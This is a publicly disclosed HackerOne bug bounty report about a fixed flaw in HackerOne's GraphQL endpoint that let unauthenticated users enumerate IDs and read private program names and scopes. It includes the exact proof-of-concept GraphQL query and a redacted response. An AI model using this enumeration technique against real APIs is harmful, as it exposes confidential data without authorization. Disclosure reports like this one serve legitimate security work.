HackerOne · Report #1618347

Disclosing PolicyPageAssetGroup in Private Programs via /graphql `gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/{id}`

Validstatus

criticalseverity

$25,000bounty

295upvotes

21 Jan 2025disclosed

Summary

This vulnerability allowed unauthorized users to retrieve sensitive information about private bug bounty programs on HackerOne and the titles of private reports by abusing a GraphQL endpoint. Attackers could enumerate {id} values and expose private data, including program names, scope details, and the titles of reports belonging to those programs.

The HackerOne team promptly addressed the issue, recognizing its critical severity, and awarded a generous bounty for its discovery.

How it was found

Summary: Hi team, I understand what's going on Description: Just a recent update gives the results of private programs

Steps To Reproduce

Without authorization

GraphQL: {"query":"{node(id:\"gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/3981-41287\"){... on PolicyPageAssetGroupDocument{id,name}}}"}

Answer: {"data":{"node":{"id":"Z2lkOi8vaGFja2Vyb25lL1BvbGljeVBhZ2VBc3NldEdyb3Vwc0luZGV4OjpQb2xpY3lQYWdlQXNzZXRHcm91cC8zOTgxLTQxMjg3","name":"██████"}}}

This is Asset program - █████████

Thanks!

Impact

Disclosing Sсope(Assets) in Private Programs

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original